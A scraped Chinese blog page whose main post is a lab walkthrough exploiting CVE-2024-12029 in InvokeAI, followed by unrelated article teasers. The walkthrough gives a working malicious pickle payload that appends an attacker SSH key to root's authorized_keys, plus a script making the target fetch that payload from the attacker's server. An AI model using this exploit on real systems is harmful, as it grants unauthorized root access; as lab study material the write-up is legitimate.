news 2026/4/23 15:26:12

InvokeAI RCE漏洞利用与远程代码执行实战分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
InvokeAI RCE漏洞利用与远程代码执行实战分析

InvokeAI_RCE | PG Walkthrough

在谷歌搜索“invokeai_rce”,你会很快找到CVE-2024-12029。事实证明,“huntr”是一个新的AI/ML CVE网站。

huntr - 世界上第一个AI/ML漏洞赏金平台

基本上按照此链接中的POC(概念验证)进行操作。解决这个靶机的关键技巧是找到这个链接。

靶机描述建议创建一个密钥,并使用payload将id_rsa.pub上传到root的授权密钥文件中。

首先使用以下命令创建密钥:
ssh-keygen

复制id_rsa.pub并将其用于ssh.py中的payload。

使用如上链接中POC演示的ssh.py来生成payload。该.ckpt文件将把公钥回显到目标机的root用户的authorized_keys文件中。

importpickleclassPayload:def__reduce__(self):importosreturn(os.system,('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0mDlI9bbgZq0XYTKvG+jo/Q6/By7bxTP6VwRqs3sh1 root@kali" >> /root/.ssh/authorized_keys',))defgenerate_payload():# 不是 .pklwithopen('payload.ckpt','wb')asf:pickle.dump(Payload(),f)generate_payload()

payload.ckpt文件所在位置设置一个Web服务器,并在exploit.py中引用它以执行payload(将攻击者的id_rsa.pub密钥粘贴到目标机的root授权密钥文件中)。

importrequests url="http://192.168.159.218:9090/api/v2/models/install"params={"source":"http://192.168.45.227:8080/payload.ckpt","inplace":"true"}response=requests.post(url,params=params,json={})print(response.text)

确保给id_rsa文件必要的权限(chmod 600 id_rsa),然后使用通过ssh-keygen生成的id_rsa密钥以root身份进行SSH连接。
CSD0tFqvECLokhw9aBeRqlyK5KMpaklojJBUegXcB9J+/111yYeGSJSiNtXQwSVQ0pW+HI2mbOG2VnyH8b7ErlJ21+8esbpf+7cQT5JJbS3PF4agwWGfdflw3pgF9XrX
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 23:41:46

先睹为快 | 2026年1月国际学术会议一览表

2026年1月,多场大型国际学术盛会即将启幕。会议将在中国及海外多个城市同步举办超过30场分会,广泛涵盖人工智能、大数据、电子信息、智能制造、计算机科学、能源环境、交通运输、土木建筑及人文社科等前沿与交叉学科领域。本次会议旨在构建高水平的全球学…

作者头像 李华
网站建设 2026/4/23 9:45:25

拆解桥博士的“波浪带鱼理论”:如何像过滤器一样提纯交易信号?

交易瓶颈:无效信号的阻碍在金融交易的道路上,许多交易者都遇到了瓶颈。无论我们如何努力学习各种交易技术和理论,总是难以摆脱无效信号的困扰。这些无效信号就像一道道无形的墙壁,阻挡着我们前进的步伐,让我们的交易陷…

作者头像 李华
网站建设 2026/4/23 9:45:27

lower_bound(a#x2B;1, a#x2B;n#x2B;1, b) - a

这段代码 /* by 01022.hk - online tools website : 01022.hk/zh/generatebchwallets.html */ lower_bound(a1, an1, b) - a 是 C 中一种常见的查找数组元素位置的写法。我们来逐步拆解它: 🔍 代码组成部分解析/* by 01022.hk - online tools website : …

作者头像 李华
网站建设 2026/4/22 12:12:49

Token计费模式揭秘:如何在PyTorch镜像中高效调用API

Token计费模式揭秘:如何在PyTorch镜像中高效调用API 在大模型服务日益普及的今天,越来越多开发者面临一个现实问题:为什么一次看似简单的API调用,账单却悄然攀升?答案往往藏在那个不起眼的计量单位——Token里。 当你在…

作者头像 李华
网站建设 2026/4/23 6:59:04

【开题答辩全过程】以 基于Springboot的社区二手物品回收平台为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人,语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

作者头像 李华
网站建设 2026/4/23 11:15:38

辉视智慧信息发布系统:赋能多场景,开启信息传播新范式

在数字化浪潮席卷各行业的当下,信息的高效、精准传递成为提升管理效能与服务品质的关键。辉视智慧信息发布系统凭借其稳定可靠的性能、灵活多样的功能以及个性化的场景适配能力,打破传统信息传播壁垒,在酒店、学校、监狱等多个领域展现出卓越…

作者头像 李华